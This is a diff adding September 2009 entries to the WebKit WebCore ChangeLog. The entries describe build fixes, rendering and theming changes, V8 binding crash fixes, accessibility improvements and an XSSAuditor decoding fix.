+2009-09-18  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Web inspector UI adjustments specific to the Qt platform:
+        - Hide the close button
+        - Hide the dock button
+        - Disable the draggable toolbar
+
+        https://bugs.webkit.org/show_bug.cgi?id=29384
+
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.toolbarDragStart):
+
+2009-09-18  Joerg Bornemann  <joerg.bornemann@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        QtWebKit Windows CE compile fixes
+
+        Exclude certain pure-WINCE specific code paths from the Qt build.
+
+        * platform/graphics/BitmapImage.h:
+        * platform/graphics/FontCache.h:
+        * platform/graphics/MediaPlayer.cpp:
+        * platform/text/TextEncodingRegistry.cpp:
+        (WebCore::buildBaseTextCodecMaps):
+        (WebCore::extendTextCodecMaps):
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::stop): Guard this code block with NETSCAPE_PLUGIN_API as
+        the corresponding PluginViewWndProc has the same guard in the header file.
+
+2009-09-18  Steve Block  <steveblock@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Geolocation does not correctly handle Infinity for PositionOptions properties.
+        https://bugs.webkit.org/show_bug.cgi?id=29099
+
+        * bindings/js/JSGeolocationCustom.cpp: Modified.
+        (WebCore::createPositionOptions): Modified. If timeout or maximumAge is positive infinity, applies these values as a special case.
+        * page/PositionOptions.h: Modified.
+        (WebCore::PositionOptions::hasMaximumAge): Added. Determines whether the object has a maximum age.
+        (WebCore::PositionOptions::maximumAge): Modified. Asserts that the object has a maximum age.
+        (WebCore::PositionOptions::clearMaximumAge): Added. Clears the maximum age.
+        (WebCore::PositionOptions::setMaximumAge): Modified. Registers that the maximum age has been set.
+        (WebCore::PositionOptions::PositionOptions): Modified. Registers that the maximum age has been set.
+
+2009-09-17  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Adele Peterson.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29276
+        REGRESSION(r48334): WebKit crashes on file select by drag
+
+        Document.elementFromPoint now takes point in client space, not page space.
+
+        * page/DragController.cpp:
+        (WebCore::DragController::tryDocumentDrag):
+        (WebCore::DragController::concludeEditDrag):
+
+2009-09-17  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by David Levin.
+
+        Reimplement default media UI for Mac Chromium to match the style
+        of the Windows and Linux versions.  Also breaks the dependency
+        on the internal wk* functions that were previously used to
+        render the media controller widgets.
+        https://bugs.webkit.org/show_bug.cgi?id=29161
+
+        No media layout tests are currently enabled in Mac Chromium, so
+        nothing needs rebaselineing, etc.
+
+        This is a recommit of r48438 with a compile fix and merges of
+        recent changes to the file.
+
+        * css/mediaControlsChromium.css:
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::mediaElementParent):
+        (WebCore::RenderThemeChromiumMac::extraMediaControlsStyleSheet):
+        (WebCore::mediaSliderThumbImage):
+        (WebCore::mediaVolumeSliderThumbImage):
+        (WebCore::RenderThemeChromiumMac::paintSliderTrack):
+        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize):
+        (WebCore::RenderThemeChromiumMac::paintMediaButtonInternal):
+        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
+        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderTrack):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintMediaControlsBackground):
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::adjustSliderThumbSize):
+
+2009-09-17  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        The Console scope bar should have a divider between All and the other possible
+        values (Errors, Warnings, Logs). It will look something like:
+        
+        All | Errors Warnings Logs.
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.createDividerElement):
+        (WebInspector.ConsoleView):
+        * inspector/front-end/inspector.css:
+
+2009-09-17  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Remove additional references to JSVoidCallback which no longer exists.
+
+        * DerivedSources.cpp:
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-09-17  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Brady Eidson.
+
+        Remove commented out onhashchange attribute now that it is implemented.
+
+        * page/DOMWindow.idl:
+
+2009-09-17  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7007541> 
+        CrashTracer: 4800crashes in Safari at com.apple.WebKit • WTF::HashTableIterator...
+        
+        Make RuntimeObjectImp more robust against m_instance being a null (which can happen if an OOP plug-in
+        crashes while we're calling into it).
+        
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::RuntimeObjectImp):
+        (JSC::RuntimeObjectImp::~RuntimeObjectImp):
+        (JSC::RuntimeObjectImp::invalidate):
+        (JSC::RuntimeObjectImp::fallbackObjectGetter):
+        (JSC::RuntimeObjectImp::fieldGetter):
+        (JSC::RuntimeObjectImp::methodGetter):
+        (JSC::RuntimeObjectImp::getOwnPropertySlot):
+        (JSC::RuntimeObjectImp::getOwnPropertyDescriptor):
+        (JSC::RuntimeObjectImp::put):
+        (JSC::RuntimeObjectImp::defaultValue):
+        (JSC::RuntimeObjectImp::getCallData):
+        (JSC::RuntimeObjectImp::getConstructData):
+        (JSC::RuntimeObjectImp::getPropertyNames):
+        * bridge/runtime_object.h:
+        (JSC::RuntimeObjectImp::getInternalInstance):
+
+2009-09-17  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Wrap primitive values (as objects) in InspectorController::wrap.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28983
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::wrapObject): objects of any type will be wrapped into proxies,
+         only object proxies will have objectId.
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.completions): there is InjectedScript.getCompletionsi
+         that accepts an expression and returns possible completions. This way we don't need to wrap
+         and unwrap the completions result into a proxy object.
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getCompletions):
+        (InjectedScript.evaluate):
+        (InjectedScript._evaluateOn):
+        (InjectedScript.createProxyObject):
+        * inspector/front-end/InjectedScriptAccess.js:
+
+2009-09-17  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Wrap PageTransitionEvents properly for V8's use.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29340
+
+        Fixes Chromium's failures for LayoutTests/fast/events/pageshow-pagehide.html.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventToV8Object): Wrap PageTransitionEvents properly.
+
+2009-09-17  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Hardware-accelerated opacity transition on inline asserts
+        https://bugs.webkit.org/show_bug.cgi?id=29342
+        
+        Remove an erroneous toRenderBox() that could be called on a RenderInline; we can just
+        pass an empty size, because the box size is only required for transform animations.
+
+        Test: compositing/transitions/opacity-on-inline.html
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::startTransition):
+
+2009-09-17  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] OwnHandle might get a weak callback after destruction
+        https://bugs.webkit.org/show_bug.cgi?id=29172
+
+        Be sure to clear out weak reference so we don't get a weak callback
+        after we've destructed ourselves.  Also, removed some tricky methods
+        that had no clients.
+
+        * bindings/v8/OwnHandle.h:
+        (WebCore::OwnHandle::clear):
+
+2009-09-17  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [V8] Partial roll out of http://trac.webkit.org/changeset/48455 to
+        fix crashes that started happening in V8Proxy::getEnteredContext().
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
+
+2009-09-17  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        AX: labels of checkboxes should, when hit-tested, return the checkbox
+        https://bugs.webkit.org/show_bug.cgi?id=29335
+
+        When an accessibility hit test is done and it hits the label of a control element,
+        the control element should be returned instead of nothing, since the label
+        itself is usually ignored.
+
+        Test: accessibility/label-for-control-hittest.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::correspondingControlForLabelElement):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::doAccessibilityHitTest):
+        (WebCore::AccessibilityRenderObject::correspondingControlForLabelElement):
+        * accessibility/AccessibilityRenderObject.h:
+
+2009-09-17  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Dimitri Glazkov, build fix.
+
+        Change to make RenderThemeChromiumMac compile inside of non PLATFORM(MAC).
+        https://bugs.webkit.org/show_bug.cgi?id=29243
+
+        Covered by existing tests.
+
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
+
+2009-09-17  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Accessing properties/methods of an object, created with document.implementation.createDocumentType
+        creates nodes that have no document (ScriptExecutionContext), which in turn produces NULL-ref crashes.
+        https://bugs.webkit.org/show_bug.cgi?id=26402
+
+        Test: fast/dom/DOMImplementation/detached-doctype.html
+              fast/dom/doctype-event-listener-crash.html
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getEventListener): Added an extra NULL-check.
+
+2009-09-17  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        FontDescription.h includes RenderStyleConstants.h, which violates layering
+        https://bugs.webkit.org/show_bug.cgi?id=29327
+
+        * GNUmakefile.am: Added FontSmoothingMode.h.
+        * WebCore.gypi: Added FontSmoothingMode.h.
+        * WebCore.vcproj/WebCore.vcproj: Added FontSmoothingMode.h.
+        * WebCore.xcodeproj/project.pbxproj: Added FontSmoothingMode.h and made
+            it a private header.
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Get the
+            font smoothing mode via the font description.
+        * css/CSSPrimitiveValueMappings.h: Include FontSmoothingMode.h
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Updated for the rename
+            of FontSmoothing to FontSmoothingMode.
+        (WebCore::CSSPrimitiveValue::operator FontSmoothingMode): Ditto.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty): Get the font smoothing mode
+            via the font description.
+        * platform/graphics/FontDescription.h: Do not include
+            RenderStyleConstants.h.
+        (WebCore::FontDescription::fontSmoothing): Updated for the rename of
+            FontSmoothing to FontSmoothingMode.
+        (WebCore::FontDescription::setFontSmoothing): Ditto.
+        * platform/graphics/FontSmoothingMode.h: Added.
+        (WebCore::FontSmoothingMode): Moved the FontSmoothing enum from
+            RenderStyleConstants here and renamed it to this.
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::fontSmoothing): Removed this getter, since
+            this can be accessed via the font description.
+        * rendering/style/RenderStyleConstants.h: Moved the FontSmoothing enum
+            from here to FontSmoothingMode.h.
+
+2009-09-17  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx 2.9 build fix.
+
+        * platform/wx/wxcode/gtk/scrollbar_render.cpp:
+        (wxGetGdkWindowForDC):
+
+2009-09-16  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Elements appear behind <video> when they should be in front sometimes
+        https://bugs.webkit.org/show_bug.cgi?id=29314
+        
+        r45598 added logic that tests for overlap with <video> to determine when to throw
+        a layer into compositing mode. That logic was incorrect in some cases, and this patch
+        fixes it. When testing overlap, the layer needs to be composited iff some previous layer
+        is composited (which adds a rect to the overlay map), and there is overlap.
+
+        Test: compositing/geometry/video-opacity-overlay.html
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::CompositingState::CompositingState):
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+
+2009-09-17  Avi Drissman  <avi@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Update the Chromium Mac theming files (RenderTheme and Theme) to be
+        up-to-date.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=29243
+        http://crbug.com/19604
+
+        Covered by existing tests.
+
+        * WebCore.gypi:
+        * platform/chromium/ThemeChromiumMac.h: Added.
+        (WebCore::ThemeChromiumMac::ThemeChromiumMac):
+        (WebCore::ThemeChromiumMac::~ThemeChromiumMac):
+        (WebCore::ThemeChromiumMac::controlRequiresPreWhiteSpace):
+        * platform/chromium/ThemeChromiumMac.mm: Added.
+        (WebCore::):
+        (WebCore::platformTheme):
+        (WebCore::controlSizeForFont):
+        (WebCore::sizeFromFont):
+        (WebCore::setControlSize):
+        (WebCore::updateStates):
+        (WebCore::inflateRect):
+        (WebCore::checkboxSizes):
+        (WebCore::checkboxMargins):
+        (WebCore::checkboxSize):
+        (WebCore::checkbox):
+        (WebCore::paintCheckbox):
+        (WebCore::radioSizes):
+        (WebCore::radioMargins):
+        (WebCore::radioSize):
+        (WebCore::radio):
+        (WebCore::paintRadio):
+        (WebCore::buttonSizes):
+        (WebCore::buttonMargins):
+        (WebCore::button):
+        (WebCore::paintButton):
+        (WebCore::ThemeChromiumMac::baselinePositionAdjustment):
+        (WebCore::ThemeChromiumMac::controlFont):
+        (WebCore::ThemeChromiumMac::controlSize):
+        (WebCore::ThemeChromiumMac::minimumControlSize):
+        (WebCore::ThemeChromiumMac::controlBorder):
+        (WebCore::ThemeChromiumMac::controlPadding):
+        (WebCore::ThemeChromiumMac::inflateControlPaintRect):
+        (WebCore::ThemeChromiumMac::paint):
+        * platform/graphics/FloatPoint.h:
+        * platform/graphics/FloatRect.h:
+        * platform/graphics/FloatSize.h:
+        * platform/graphics/IntRect.h:
+        * rendering/RenderThemeChromiumMac.h:
+        (WebCore::RenderThemeChromiumMac::supportsControlTints):
+        (WebCore::RenderThemeChromiumMac::scrollbarControlSizeForPart):
+        (WebCore::RenderThemeChromiumMac::supportsSelectionForegroundColors):
+        * rendering/RenderThemeChromiumMac.mm:
+        (-[WebCoreRenderThemeNotificationObserver systemColorsDidChange:]):
+        (-[RTCMFlippedView isFlipped]):
+        (-[RTCMFlippedView currentEditor]):
+        (WebCore::):
+        (WebCore::FlippedView):
+        (WebCore::RenderTheme::themeForPage):
+        (WebCore::RenderThemeChromiumMac::platformActiveListBoxSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumMac::platformInactiveListBoxSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumMac::platformInactiveListBoxSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumMac::systemFont):
+        (WebCore::convertNSColorToColor):
+        (WebCore::menuBackgroundColor):
+        (WebCore::RenderThemeChromiumMac::systemColor):
+        (WebCore::RenderThemeChromiumMac::isControlStyled):
+        (WebCore::RenderThemeChromiumMac::adjustRepaintRect):
+        (WebCore::RenderThemeChromiumMac::inflateRect):
+        (WebCore::RenderThemeChromiumMac::convertToPaintingRect):
+        (WebCore::RenderThemeChromiumMac::setFontFromControlSize):
+        (WebCore::RenderThemeChromiumMac::paintTextField):
+        (WebCore::RenderThemeChromiumMac::paintCapsLockIndicator):
+        (WebCore::RenderThemeChromiumMac::paintTextArea):
+        (WebCore::RenderThemeChromiumMac::paintMenuList):
+        (WebCore::TopGradientInterpolate):
+        (WebCore::BottomGradientInterpolate):
+        (WebCore::MainGradientInterpolate):
+        (WebCore::TrackGradientInterpolate):
+        (WebCore::RenderThemeChromiumMac::paintMenuListButtonGradients):
+        (WebCore::RenderThemeChromiumMac::paintMenuListButton):
+        (WebCore::RenderThemeChromiumMac::popupInternalPaddingLeft):
+        (WebCore::RenderThemeChromiumMac::popupInternalPaddingRight):
+        (WebCore::RenderThemeChromiumMac::popupInternalPaddingTop):
+        (WebCore::RenderThemeChromiumMac::popupInternalPaddingBottom):
+        (WebCore::RenderThemeChromiumMac::adjustMenuListButtonStyle):
+        (WebCore::RenderThemeChromiumMac::adjustSliderTrackStyle):
+        (WebCore::RenderThemeChromiumMac::adjustSliderThumbStyle):
+        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintSearchField):
+        (WebCore::RenderThemeChromiumMac::setSearchCellState):
+        (WebCore::RenderThemeChromiumMac::adjustSearchFieldStyle):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeChromiumMac::adjustSearchFieldCancelButtonStyle):
+        (WebCore::RenderThemeChromiumMac::adjustSearchFieldDecorationStyle):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldDecoration):
+        (WebCore::RenderThemeChromiumMac::adjustSearchFieldResultsDecorationStyle):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeChromiumMac::adjustSearchFieldResultsButtonStyle):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsButton):
+        (WebCore::mediaControllerTheme):
+        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize):
+        (WebCore::getMediaUIPartStateFlags):
+        (WebCore::getUnzoomedRectAndAdjustCurrentContext):
+        (WebCore::RenderThemeChromiumMac::paintMediaFullscreenButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSeekBackButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSeekForwardButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintMediaRewindButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaReturnToRealtimeButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaControlsBackground):
+        (WebCore::RenderThemeChromiumMac::paintMediaCurrentTime):
+        (WebCore::RenderThemeChromiumMac::paintMediaTimeRemaining):
+        (WebCore::RenderThemeChromiumMac::extraMediaControlsStyleSheet):
+
+2009-09-16  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29306
+        
+        Fixes an issue where an attack that contains accented characters can
+        bypass the XSSAuditor.
+        
+        XSSAuditor::decodeURL used the wrong length for the input string. 
+        When the input string was decoded, the decoded result was truncated.
+        Hence, XSSAuditor was comparing the source code of the script to the 
+        truncated input parameters.
+
+        Test: http/tests/security/xssAuditor/img-onerror-accented-char.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::decodeURL):
+
+2009-09-16  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Explore allowing pages with unload handlers into the Page Cache
+        https://bugs.webkit.org/show_bug.cgi?id=29021
+
+        No new tests. (All previous tests continue to pass)
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading): If the document is in the page cache, don't fire the unload event.
+
+2009-09-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Teach ScheduledAction::execute about isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=27703
+
+        We now save a handle to the original context.  We use that handle to
+        call the timeout in the right context / world.
+
+        Tests: http/tests/security/isolatedWorld/window-setTimeout-function.html
+               http/tests/security/isolatedWorld/window-setTimeout-string.html
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/ScheduledAction.h:
+        (WebCore::ScheduledAction::ScheduledAction):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+
+2009-09-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Teach ScheduledAction::execute about isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=27703
+
+        We now save a handle to the original context.  We use that handle to
+        call the timeout in the right context / world.
+
+        Tests: http/tests/security/isolatedWorld/window-setTimeout-function.html
+               http/tests/security/isolatedWorld/window-setTimeout-string.html
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/ScheduledAction.h:
+        (WebCore::ScheduledAction::ScheduledAction):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+
+2009-09-16  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Add some groups to the xcode project to make the bindings/js/ group
+        a little nicer.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-09-16  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29320
+        JS callback objects should store the global object
+
+        This just changes the callback objects to store the global object instead
+        of the frame. A follow up patch will change them to store the 'current' 
+        global object instead of the lexical or dynamic.
+
+        * DerivedSources.make: Remove unused VoidCallback.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * bindings/js/JSCustomPositionCallback.cpp:
+        (WebCore::JSCustomPositionCallback::JSCustomPositionCallback):
+        (WebCore::JSCustomPositionCallback::handleEvent):
+        * bindings/js/JSCustomPositionCallback.h:
+        (WebCore::JSCustomPositionCallback::create):
+        * bindings/js/JSCustomPositionErrorCallback.cpp:
+        (WebCore::JSCustomPositionErrorCallback::JSCustomPositionErrorCallback):
+        (WebCore::JSCustomPositionErrorCallback::handleEvent):
+        * bindings/js/JSCustomPositionErrorCallback.h:
+        (WebCore::JSCustomPositionErrorCallback::create):
+        * bindings/js/JSCustomSQLStatementCallback.cpp:
+        (WebCore::JSCustomSQLStatementCallback::JSCustomSQLStatementCallback):
+        (WebCore::JSCustomSQLStatementCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementCallback.h:
+        (WebCore::JSCustomSQLStatementCallback::create):
+        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
+        (WebCore::JSCustomSQLStatementErrorCallback::JSCustomSQLStatementErrorCallback):
+        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementErrorCallback.h:
+        (WebCore::JSCustomSQLStatementErrorCallback::create):
+        * bindings/js/JSCustomSQLTransactionCallback.cpp:
+        (WebCore::JSCustomSQLTransactionCallback::Data::Data):
+        (WebCore::JSCustomSQLTransactionCallback::Data::globalObject):
+        (WebCore::JSCustomSQLTransactionCallback::JSCustomSQLTransactionCallback):
+        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionCallback.h:
+        (WebCore::JSCustomSQLTransactionCallback::create):
+        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
+        (WebCore::JSCustomSQLTransactionErrorCallback::JSCustomSQLTransactionErrorCallback):
+        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionErrorCallback.h:
+        (WebCore::JSCustomSQLTransactionErrorCallback::create):
+        * bindings/js/JSCustomVoidCallback.cpp:
+        (WebCore::JSCustomVoidCallback::JSCustomVoidCallback):
+        (WebCore::JSCustomVoidCallback::handleEvent):
+        * bindings/js/JSCustomVoidCallback.h:
+        (WebCore::JSCustomVoidCallback::create):
+        * bindings/js/JSDatabaseCustom.cpp:
+        (WebCore::JSDatabase::changeVersion):
+        (WebCore::createTransaction):
+        (WebCore::JSDatabase::transaction):
+        (WebCore::JSDatabase::readTransaction):
+        * bindings/js/JSGeolocationCustom.cpp:
+        (WebCore::createPositionCallback):
+        (WebCore::createPositionErrorCallback):
+        (WebCore::JSGeolocation::getCurrentPosition):
+        (WebCore::JSGeolocation::watchPosition):
+        * bindings/js/JSSQLTransactionCustom.cpp:
+        (WebCore::JSSQLTransaction::executeSql):
+
+2009-09-15  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        <input maxlength=> should restrict only values specified by users.
+        https://bugs.webkit.org/show_bug.cgi?id=21271
+
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::setValueFromRenderer):
+        (WebCore::InputElement::sanitizeValue):
+        (WebCore::InputElement::sanitizeUserInputValue): Rename from constrainValue().
+        (WebCore::InputElement::handleBeforeTextInsertedEvent):
+        (WebCore::InputElement::updateValueIfNeeded):
+        * dom/InputElement.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setInputType):
+        (WebCore::HTMLInputElement::value):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::sanitizeValue):
+        * html/HTMLInputElement.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::subtreeHasChanged):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::constrainValue):
+        * wml/WMLInputElement.h:
+        (WebCore::WMLInputElement::sanitizeValue):
+
+2009-09-16  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Reorganizing helper functions in htmlediting.h to group them by type of object they return/operate upon.
+        https://bugs.webkit.org/show_bug.cgi?id=29319
+
+        * editing/IndentOutdentCommand.cpp:
+        Removed implementation of isAtUnsplittableElement.
+
+        * editing/IndentOutdentCommand.h:
+        Removed member function isAtUnsplittableElement, because it was not class specific and belonged logically among the helper functions.
+
+        * editing/htmlediting.cpp:
+        (WebCore::isAtUnsplittableElement): added. The code was taken from IndentOutdentCommand.
+
+        * editing/htmlediting.h:
+        Reordered functions to group them by type of object returned or operate upon.
+        Added comments.
+        Added isAtUnsplittableElement declaration.
+
+2009-09-16  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig and Anders Carlsson.
+
+        Removed some vestigial and potentially crashy code that makes consolidating
+        event listeners hard.
+
+        * dom/Node.cpp:
+        (WebCore::Node::addEventListener): No need to limit when event listeners
+        can be added. Other EventTargets don't do this.
+        
+        Also, check for null when accessing document(). Technically, the JS bindings
+        do this check for us, but let's not rely on that.
+
+2009-09-16  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adam Roben.
+
+        <rdar://problem/7155710>
+        HTML selects on windows cause containing window to become inactive when opened
+        
+        Redo the way we handle events when a popup menu is shown, based on
+        http://blogs.msdn.com/oldnewthing/archive/2004/08/20/217684.aspx
+        
+        Since a non-active window can't capture the mouse, we use the owning window 
+        (the WebView) as the capture window. We then run a recursive message pump that 
+        forwards all mouse and keyboard events to the popup menu.
+        
+        * platform/PopupMenu.h:
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::PopupMenu):
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::hide):
+        (WebCore::PopupMenu::wndProc):
+
+2009-09-16  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Ada Chan.
+
+        Speculative fix for
+        <rdar://problem/6937089> Crashes at RenderWidget::destroy()
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::destroy): Avoid calling renderArena() if node()
+        is null. Add two assertions that can help determine how this crash
+        happens (in particular, whether node() becomes null during destroy() or
+        it is null before destroy() is called).
+
+2009-09-16  Beth Dakin  <bdakin@apple.com>
+
+        Speculative build fix.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+
+2009-09-16  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for <rdar://problem/7083741> Implement a CSS extension to 
+        adjust sub-pixel anti-aliasing for text
+        -and corresponding-
+        https://bugs.webkit.org/show_bug.cgi?id=29291
+
+        Added tests:
+        * fast/css/font-smoothing.html: Added.
+        * fast/css/parsing-webkit-font-smoothing.html: Added.
+
+        This patch adds a new CSS property called -webkit-font-smoothing 
+        that accepts the following as valid input: auto | none | 
+        antialiased | subpixel-antialiased
+
+        Return appropriate computed style for -webkit-font-smoothing
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+
+        Add a case for CSSPropertyWebkitFontSmoothing, and accept valid 
+        input.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+
+        Add mappings for FontSmoothing to the right CSS values.
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator FontSmoothing):
+
+        Add -webkit-font-smoothing
+        * css/CSSPropertyNames.in:
+
+        Set fontSmoothing on the FontDescription.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+
+        Add antialiased and subpixel-antialiased as possible new CSS 
+        values.
+        * css/CSSValueKeywords.in:
+        Store the font smoothing CSS value in the FontDescription.
+        * platform/graphics/FontDescription.h:
+        (WebCore::FontDescription::FontDescription):
+        (WebCore::FontDescription::fontSmoothing):
